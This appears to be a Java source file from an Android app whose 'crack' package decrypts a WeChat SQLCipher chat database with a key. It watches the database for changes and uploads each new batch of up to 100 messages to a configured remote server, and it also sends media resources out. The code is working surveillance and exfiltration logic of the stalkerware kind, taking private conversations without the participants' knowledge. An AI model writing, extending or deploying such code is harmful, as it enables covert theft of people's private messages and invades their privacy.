package com.rajesh.messageservice.crack;

import android.content.Context;

import com.rajesh.messageservice.Announcer;
import com.rajesh.messageservice.bean.Message;
import com.rajesh.messageservice.bean.StatusKeeper;
import com.rajesh.messageservice.helper.GlobalConfig;
import com.rajesh.messageservice.helper.JsonHttpClient;
import com.rajesh.messageservice.helper.OkHttpClientManager;
import com.rajesh.messageservice.helper.PreferenceHelper;
import com.rajesh.messageservice.helper.QueryStrings;
import com.rajesh.messageservice.helper.ResourceSender;

import java.io.IOException;
import java.util.ArrayList;
import java.util.List;

import okhttp3.Call;
import okhttp3.Callback;
import okhttp3.Response;

/**
 * 微信聊天记录处理者
 */
public class MessageAnnouncer extends Announcer {
    private final String TAG = "MessageAnnouncer";
    private final String STATUS_KEEPER_IDENTITY = "Message_StatusKeeper";

    private DatabaseCracker databaseCracker = null;
    private PreferenceHelper preferenceHelper = null;
    private StatusKeeper statusKeeper = null;
    private JsonHttpClient jsonHttpClient = null;
    private OkHttpClientManager okHttpClientManager = null;

    public MessageAnnouncer(Context context, DatabaseCracker databaseCracker) {
        this.databaseCracker = databaseCracker;
        this.preferenceHelper = new PreferenceHelper(context, STATUS_KEEPER_IDENTITY);
        this.jsonHttpClient = new JsonHttpClient();
        this.okHttpClientManager = OkHttpClientManager.createInstance();
    }

    /** 
     * 当指定用户数据库发生变化的时候，获取最新的聊天记录
     *
     * @param path      监视文件的路径
     * @param pragmaKey sqlcipher 数据库的秘钥
     * @author Rajesh
     */
    @Override
    public void execute(String path, String pragmaKey) {
        try {
            statusKeeper = this.preferenceHelper.get(StatusKeeper.class);
            if (statusKeeper == null)
                statusKeeper = new StatusKeeper();

            //当数据库文件发送修改的时候， 检查是否存在聊天记录更新
            final List<Message> messages = databaseCracker.select(Message.class, String.format(QueryStrings.QUERY_NEW_MESSAGE, statusKeeper.getCursorIndex()));
            if (messages == null || messages.size() == 0) return;

            int cursor = 0, maxSize = messages.size(), growthValue = 100;
            //向服务器发送聊天记录 每次最多处理100条
            do {
                growthValue = maxSize - cursor < growthValue ? maxSize - cursor: growthValue;

                final List<Message> batchMsgs = new ArrayList<>();
                for (int i = cursor; i < growthValue + cursor; i++){
                    Message msg = messages.get(i);
                    msg.setLvbuffer(null);
                    batchMsgs.add(msg);
                }

                okHttpClientManager.postJsonAsync(GlobalConfig.UploadMsgsUrl, batchMsgs, new Callback() {
                    @Override
                    public void onFailure(Call call, IOException e) {
                        //网络请求失败， 将消息msgSvrId加入失败队列， 准备下一次发送
                    }

                    @Override
                    public void onResponse(Call call, Response response) throws IOException {
                        String json = response.body().string();
                    }
                });

//                new Thread(new Runnable() {
//                    @Override
//                    public void run() {
//                        jsonHttpClient.post(GlobalConfig.UploadMsgsUrl, batchMsgs);
//                    }
//                }).start();

                cursor += growthValue;
            }while (cursor < maxSize);

//            for (Message msg: messages) {
//                getMsgSvrIdFromDatabase(msg);
//                //make sure serialize byte array is correct
//                msg.setLvbuffer(null);
//            }
//            jsonHttpClient.post(GlobalConfig.UploadMsgsUrl, messages);

            //分配子线程去处理耗时任务
            new Thread(new Runnable() {
                @Override
                public void run() {
                    ResourceSender.post(messages);
                }
            }).start();

            //更新聊天记录读取索引，避免读取重复的聊天记录
            Message lastMsg = messages.get(0);
            statusKeeper.setCursorIndex(Long.parseLong(lastMsg.getCreateTime()));
            preferenceHelper.put(statusKeeper);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    private void getMsgSvrIdFromDatabase(Message msg){
        Message tempMsg = databaseCracker.single(Message.class, String.format(QueryStrings.QUERY_SINGLE_MESSAGE, msg.getMsgId()));
        if(tempMsg.getMsgSvrId() == null){
            getMsgSvrIdFromDatabase(msg);
        }else{
            msg.setMsgSvrId(tempMsg.getMsgSvrId());
        }
    }
}
